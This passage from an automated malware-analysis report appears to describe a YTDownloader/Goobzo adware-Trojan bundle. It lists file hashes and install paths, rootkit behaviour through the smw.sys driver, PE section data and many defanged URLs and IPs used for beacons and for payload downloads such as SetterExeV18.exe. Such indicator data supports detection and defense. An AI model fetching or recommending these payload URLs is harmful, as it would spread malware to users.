05c47da12b0009bd98653f51287f7768 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Install_26402\bxsdk32.dll
3f5ff704cc9b2fa4e8b09ae831e0a593 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Install_26402\ins_ytd.exe
c5bf0ea484893a959b3ef0e7f041f379 c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll
29f111a07a51d38b8379171d3cf39ddb c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe
2dd50829f5ce91e033636553405263ca c:\Program Files\Common Files\Goobzo\GBUpdatePlus\Updater.exe
a879b0ae2ad98ac8e1c0f8912837eb2d c:\Program Files\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll
5931f1438015a3e263226d6ea4a8b182 c:\Program Files\Common Files\Goobzo\GBUpdatePlus\sma.exe
675f7fdc1224c197df5e7eef84d1a8f9 c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smci32.dll
10ba4048085923cf264eaeee708e98ab c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smi32.exe
556b1f1d6fd1f191c77b1167cd006abc c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smu.exe
c9828a10a4b5644cf236b1cce749dddb c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smw.sys
42ab6afd54b9a35a6a6a0eab2a6d6863 c:\Program Files\Common Files\System\SysMenu.dll
45960b40c1ecb75ed5549a80049879e1 c:\Program Files\YTDownloader\AniGIF.ocx
171c8d797a099895ae0f36b3d03e3866 c:\Program Files\YTDownloader\BrowserHelper.exe
7211c6c78756a61713170301089083a1 c:\Program Files\YTDownloader\BrowserHelperSrv.exe
a1d916992c2c6304750135148767a3aa c:\Program Files\YTDownloader\DownloadAPI.dll
2b6525d2824c3fd63932029f082ab3bc c:\Program Files\YTDownloader\DownloadHelper.exe
e7a0572b198b65896828dc652f480747 c:\Program Files\YTDownloader\Unelevate.exe
7f5d34f5ca63ef37825bcff33952f7c2 c:\Program Files\YTDownloader\Updater.exe
501528f6a128d5c1a06fc5046fafdda2 c:\Program Files\YTDownloader\YTDUninstall.exe
ea878f16482a6e92c585532b580547b7 c:\Program Files\YTDownloader\YTDownloader.exe
5c49c5c164001afd2543d986ad2fd176 c:\Program Files\YTDownloader\converter.exe
fbb160d9fc7ba584b627e0267d0b8043 c:\Program Files\YTDownloader\libeay32.dll
e519f2bf8d35627aa8c712aa636f52ff c:\Program Files\YTDownloader\rtmpdump.exe
eaf0fdc77ebc47c6f2852f711662aff7 c:\Program Files\YTDownloader\sbmntr.sys
c0ca162d62aedd6e7d179ed6bc6c102e c:\Program Files\YTDownloader\ssleay32.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls creation and closing of processes by installing the process notifier.
Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version: 2.11.0.999
Legal Copyright: Copyright (C) 2014
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.11.0.999
File Description:
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 684159 684544 4.55627 5b774939ff340613e2e44ba247e2f0bc
.rdata 692224 240648 241152 3.03854 1c55438eb0f3c90182bf1e384f28506b
.data 933888 24680 13312 3.01437 4897943b3d5483b919d23da45b85e94a
.rsrc 962560 244160 244224 4.40219 7865973e23768109a3e09e2c0122a965
.reloc 1208320 45260 45568 4.54718 75d7c6ffd9d42fff133d34d862526e46

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://kxsui3-mzxspesu.netdna-ssl.com/t.ashx?e=rtVCaXwMwDJmS6nlSU/NTtuVII 9jnDa/ToTRiVFxVTeyzV7AofXltfeePK3juLQKseWc3Bk9ZvlsFtw3cWT7mvtcIuz9bMoGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUanmGGYVS7/B0JQd5HxgIXfmCWsTLnvD bTtF4P/Nzf47au 4j4gnPlTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05D5OeSwUDdva2hNibsqR5hVlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLAfxYPJ2m5Z 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YNxO48S9k5zx0ojLX6lvBJsJJaSIP7xohYUBsO8O21po8 3fSmiw/OP3dCJ6xxp AkxCSffc0CU6lWIDtMhwBxLGAKovvGyeJC9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRU5IN3j9H2v 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/t.ashx?e=M7A8vgjJHrj4MZomVx105cCfeQDac2AEAZx7JfD/ZiMeaFNcfNJ0Dr7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF3F6w7/9M3cyHLaPsNuIhxx0d1GAfvnAkXxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRsb1vqYY5dG9TQ G9t8UJTnBlO Jp7dmc4aM eJWkTw6kCOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= 198.232.124.192
hxxp://dyd9qf154h76q.cloudfront.net/bxsdk32.dll 54.239.168.87
hxxp://d11sfnc01fj8ag.cloudfront.net/SetterExeV18.exe 54.239.168.223
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP3EbLWmTIe6HPSZuizlKZS4vVGidJQzQbwcX153juosly7z014jPGHi9SV3844bx1iSWkiD 8aIWFAbDvDttaaPPt30posPzj93QiescafgJMQkn33NAlOpViA7TIcAcSxgCqL7xsniQvSm4upuKAkZFQSZRyR efVPZxD7RePTi9zALUw4J10VOSDd4/R9r/g== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUtjXd2V1E82PvDVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjRwPcBPt3bTGsKYzKwx9v9P8/aLGgmbDczlRzySDKbWw= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF3rkKX5vs BxhpDESA5phhNsYns0spGP2dTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05A== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF3Y9uT/0042UzB0eIArPecdjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=KC46TpkJIZzYLhsRuGeUaX3SlO 4zhiGbxgZgsE2ALEgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn074r1XQZFERIJ5AJXlBzFu09k8ckggnu0s IILilpWF0yM0 mDTjCnk8lK 3OdSokZuYXDd55YnQEr1JQjjeKnCRRsprqbmHjBHo e/Tb1b6xkPPaX2SGsyNWfCbpya7ojZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=wlkQ3WKgYpSpmK8l4EEkn33SlO 4zhiGLnnSr9Cu5YcgzQKqaxF9u3FNjBbFgb1YQRjjVcEy0WTW/eZlYKTDPljMf o5tZn01qg9mP3gfJPos7AQZC HbNXZPFjv wv7jgb6v7cXpPsCR1eJJaqZuTEmVd5boNaQ9RM9cvdqwuWTNOkbAfXQQbYcDgYC7zhTHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KHCUgWPbo8zyy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyAcboqKFmkaACc= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Ka qOJkckoUPgAd18hbyroe/DZ3xPHxA/Dn8i7qp5mB38psj3UbutFu0ICSu0QOYghmiZJc6KBe9Kbi6m4oCRkVBJlHJH559U9nEPtF49OL3MAtTDgnXRf9XPbJELwvM20qHT6WNWM4V 9m YgK2IDr0zJ2LyWbSX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXedTURWNEvv0HQBxTzK/bEJeNU2AyMdjD0iBddSzeY4dYghywxFINBPLhsL7x0yEItFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N 2fGqVkubD7Y2ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDqaP5RI6XgJQcxXLgDRmHLOkFT1T v92w3K GUZ6Kk1Wr1yDuA0169JkBUgi1JVfYVZXrxk8zYW8= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUfa HuGTRyAEFAL52sIXt4Ua8Zp/ 13YC175vqqyfEnMnylXnslTRg848241y0s0/3gUxyF5wkLuxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUVDwWd9hvLDxFAL52sIXt4XVoJPRVPVAkz3ZLnbsoZ9zX6ABQ4xl C6XAmRABUbmSYRA5W RLpwIoLj8WN7CI8VJWpTUhdoetbAQhJgQ701LudQlG124a8hFOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaQ== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRlO8xmMRVWZOb7j5JAyiJ5DwvGnwcuiCjBHn3WtPO7TkPk55LBQN29raE2JuypHmFWVSvOHNjNGn3rWrb Mq8mhh9Athkbu8Dene9Z fMxsMsB/Fg8nablk= 198.232.124.192
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=oE Olq3N8DJu4D9uO/s/7LXdkCu6pesQK EqXX9mXsQxHZspITGtXrBhuqi0EfC3HiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDbzUL5XZVUMbFMV9tdp8gQwy5IrlnR/w3P0XoPGdmYzjUCOCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mdulfay3 QHl32cx0G27ZSGAqR2XPWVGhFafpzrL U5WOBvq/txek wAw8i8QxSBMr J80GV4qARlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDLdjn6SYKQpkJ3A2/oNe5ryDBDxYRLY gl76KqOPSYNu 54.239.168.207
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDgCtEn0QpjuXhJ1Bh5YeUQcklpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJGRUEmUckfnn1T2cQ 0Xj04vcwC1MOCddFTkg3eP0fa/4= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=XJYuqQQo69eJxiP7f9a/G27gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUeTwptrmDJY5BPEhRyyBD7Ac3fvxJ8D0nDa/A2NFJWO0rTw7dxe6CN36fJqnCNSq9DOwCFPkZ2zXbZOd1Z hx8BPIOGLdaeOjR sDLwnn1132uAG1IrkYwnafAodXicqFC5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyAcC4K0pGUhWjZ3f64oXp7sfQ8Kj6Mu8v3vRYAGA yJTjl0UZdEJdXvF/f7UUlEHfjfma0GJTOyRJc= 198.232.124.192
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=s0jsdppK9OtmS6nlSU/NTqroNiSdbKyDNsV53F/8CdAecW3MdWo9WH3c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N/I4if1JyekIj20L MFH16heQqXv2mdCh6IaccU75mPXy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyActtHclsvqkcU8g5 vR6QEB49De26f9ELU77BAEjXP3GmOBvq/txek xUYvqcyBt9h 54.239.168.207
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=PcwT4QFtuPDiDhjjz73apm7gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUQeEuJy eF9fKYX3Ti/i3YOG9SIsJmG3UfDVXG8fnVsUkXiRAgddMCaMVoLWI3pNMYIaukc1i7BWldmt6Vgk8tSuaFT9xqmWN6c2C4KGeMVjRwPcBPt3bTGsKYzKwx9v9P8/aLGgmbDczlRzySDKbWw= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=XJYuqQQo69eJxiP7f9a/G27gP247 z/suEsglF M iT UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO3VAezdf3aKUW3bvmqd8iSw0JQd5HxgIXcFDwwhgx9LS0COCGFuwZcChv/PiC3eG4oUVviRAos4otKOgpxEcX4mOWTBRoXJJz/rKwD6t b1ZR4j1VNOEsndx0FrV7x5rPWaieq92N1tQTlCrq CB0Q2gNGuCTKw7CI= 198.232.124.192
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=6OELh0H WypmS6nlSU/NTqroNiSdbKyDNsV53F/8CdAecW3MdWo9WH3c3l7dx0agqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N/I4if1JyekIj20L MFH16heQqXv2mdCh6IaccU75mPXy5MYXZwv0Sa2 GUfuos17apw1GQ93goy8ou0ipnPyActtHclsvqkcU8g5 vR6QEB49De26f9ELUQMAH86R7p6MFQ9mpxEjBWbPiCC4paVhdd6NNx8J3bno= 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCH3SlO 4zhiGYB99HJUp1rZp9n7WWAF0mH3wjc62A0OYpFHk1LdjXWIbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkodXvvqvVmBrbtf3EntwcIYYxg5TDUaq4io3A5eoPLkCqxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi fnW1BRx38xv1DjxUizWQcST1QHs3X92ilFvPReo f3NHQiLIWWzE2Y9s IILilpWF2m8FF6tfmXYJpMaYz3Mc9Y 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCH3SlO 4zhiGYB99HJUp1rZp9n7WWAF0mH3wjc62A0OYpFHk1LdjXWIbTivYZlBvEDiTgabm 9Kynizn8eB0zlnq0NIBqfTkodXvvqvVmBrbtf3EntwcIYYxg5TDUaq4io3A5eoPLkCqxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi fnW1BRx38xv1DjxUizWQcST1QHs3X92ilGOyD iaRZsJNCUHeR8YCF35CHo3qBIj7b9duE6KgDSng== 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=QgW8pN5r26avTpvRFjYpwjWNtO0Ims5SDLysJ1t4srIegceCn LKWaOJdawTmV xr J80GV4qARlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDOt6BFX6GBgh6TnR9dT7ayhnd4qSz7g6AIQ0nY4nOnLjU7zGYxFVZk5vuPkkDKInkPC8afBy6IKMEefda087tOT021585MfhSn4/c5CbCMCXqUVvKp9Lg9VpI2JlSwfZ4imF904v4t2DqaxuwH9abMQhIF11Yw0Wtw== 54.239.168.207
hxxp://d1y2jryd6u59ns.cloudfront.net/p.ashx?e=M7A8vgjJHrit /KxvF2yavQB5Q5WX8MYYDEAjQn1Lmtt1izXJZF/6q3ONc0nBd/7l5HByWpqmAJFOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaTLYAxbXqOnWZKpgXCSq4SAWz6Wms7nyLl gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFDMWtlnh6ykcF31vgH 2Mrl JfVwpv1Wv1T7Sf53reGaM2UgyJxU8HKZPrV0w8bK0Oe1siQxzufjGznAeuKs/Rw== 54.239.168.207
hxxp://kxsui3-mzxspesu.netdna-ssl.com/YTDownloaderFull.exe 198.232.124.192
hxxp://d13s98z2lzti92.cloudfront.net/smw121634dp.exe 54.239.168.245
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMA04irtcDWeBfFklBXmBrJSjgb6v7cXpPvrQWbbvPSd CRRsprqbmHjBHo e/Tb1b6xkPPaX2SGs6vHa10lJ0Tq3YhY2jqfUQiCrrFHFJruuv4gmSuY4s6sh9Gyg0m2fe6bEX8xbIh3h/m8hmAnkYtHnqsMTd5yeXZ4/J0NVfZoltKTLuEb0m/GdlCJFiyqrB57C1lEf00kbs0ayKCWbhlX6D1sggdHBsh 8542Gw3m0AzmWoFdxO97A4kHFlciFoa0vyzpagc39iYeApy3zoidhXbusBDt62lfoAFDjGX4LpcCZEAFRuZJhEDlb5EunAiguPxY3sIjxUlalNSF2h61sBCEmBDvTUu51CUbXbhryEU5MDCXDxgXW/fd31FoVTOiWNGWNGtxog4HDkqE1php 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMBgGShWQDHBOLQNwltuHU7XLtUlyKtO7SYPgAY8ePzFZz2k/iRtBvqTxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMAmyeS/0faBVTdVMo67fxO0s IILilpWF0egceCn LKWV gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=7Z/ZGbGhikVmS6nlSU/NTtRRECxi8LUF/ToTRiVFxVR2M5d6UDxIvpDKf9AB8lI7SlCyq068/M1FOTAwlw8YF1v33d9RaFUzoljRljRrcaIOBw5KhNaYaXwF8xC533Fc8E2Pd9CMWovNtgMO1a3Sb/ZosoT5W1jO333RAvM0VMCmW8V 3HOBw6zlVDGOOxKoKYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTyjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsOpo/lEjpeAlBzFcuANGYcs6QVPVP6/3bDcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9hVlevGTzNhbw== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=IwLHwtP2rDd90pTvuM4Yhr egN mgLsUIM0CqmsRfbs08bEgFRb3JLee7JGyVH1lRdb/S8YKHkPcr4ZRnoqTVavXIO4DTXr0mQFSCLUlV9jchQaB0hEWDb7GRIcOoydhUdGPD1b2Qs4eR0 6Iti9noDXxTJmuVxLdfeQRNwvtN83SQCeXx1TCLUISLCJlFqul4CnWC C4vHQ5iZIM1e7BHRbglB1j0/SZbnr3cm4yDPwBfwq5Zdl/l gAUOMZfgulwJkQAVG5kmEQOVvkS6cCKC4/FjewiPFSVqU1IXaHrWwEISYEO9NS7nUJRtduGvIRTkwMJcPGBdb993fUWhVM6JY0ZY0a3GiDgcOSoTWmGk= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=k64GogClQtVu4D9uO/s/7B1UQSLNnmR8/lCDRYG1zoqEh7ps0SQ7EYzpbjeDHyvNqJDnlUORNKJFgAYD7IlOOXRRl0Ql1e8X9/tRSUQd N8klCAcYCbUzerVyaMS1AoBVcsZgjOTLBhE3YXLyWjV4CaDLwxb48ztGK5E2bFODYadaD18g5nyiRr CpnYhOgNGMSMiYn5 P9tItOK4NBqlOkFGd4jed/D9gyDbt5XPM Mb1KWNMbp442ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDqaP5RI6XgJQcxXLgDRmHLOkFT1T v92w3K GUZ6Kk1Wr1yDuA0169JkBUgi1JVfYVZXrxk8zYW8= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=Feo0TQZfu6J5YvL6lzggScCfeQDac2AEvMo6MfIMSUkeaFNcfNJ0Dunq2YUwWYcGp2RYIisGWDtlUrzhzYzRp961q2/jKvJoYfQLYZG7vA3p3vWfnzMbDJMvyWdHNxSQQRjjVcEy0WTW/eZlYKTDPljMf o5tZn0MydwrVDP9I3b/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO73EZkAAgR/jmD45dkR0v8UWHBzcD5RH2WGmZgVxWuSt5QI4IYW7BlwKG/8 ILd4bihRW JECizii0o6CnERxfiY5ZMFGhcknP srAPq35vVlHiPVU04Syd3HQWtXvHms9ZqJ6r3Y3W1BOUKur4IHRDaA0a4JMrDsIg== 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=2fVCHF6kf8i8qFEAMB5m W159SJAR9l8nvZi s3jtzH3VPP0BYZZ/JwQnkcbjmdiLntfO9v5CwenNguChnjFY0cD3AT7d20xrCmMysMfb/T/P2ixoJmw3FdmQqJ1xmaVqGvv5sqhroDaM1aE/ClNTQoNsbMcAjZ5o UCJoj6Xc5WOvghCBTr/TdVMo67fxO0s IILilpWF2wn9k6QZKCZTYd0CRAC1t06pSL3ydf628klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJGRUEmUckfnn1T2cQ 0Xj04vcwC1MOCddFTkg3eP0fa/4= 198.232.124.192
hxxp://kxsui3-mzxspesu.netdna-ssl.com/5518.ashx?e=eISsn0A7mAbJ8pjs/lobyG7gP247 z/std2QK7ql6xD UINFgbXOioSHumzRJDsRjOluN4MfK82okOeVQ5E0okWABgPsiU45dFGXRCXV7xf3 1FJRB343ySUIBxgJtTN6tXJoxLUCgFVyxmCM5MsGETdhcvJaNXgJoMvDFvjzO1v4YTA J500te3upwN8WEnBPEhRyyBD7Cd1kqV8F3deVtwb17b7vYGxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSsp4s5/HgdM5Z6tDSAan05KEz1rNbtpMjdA== 198.232.124.192
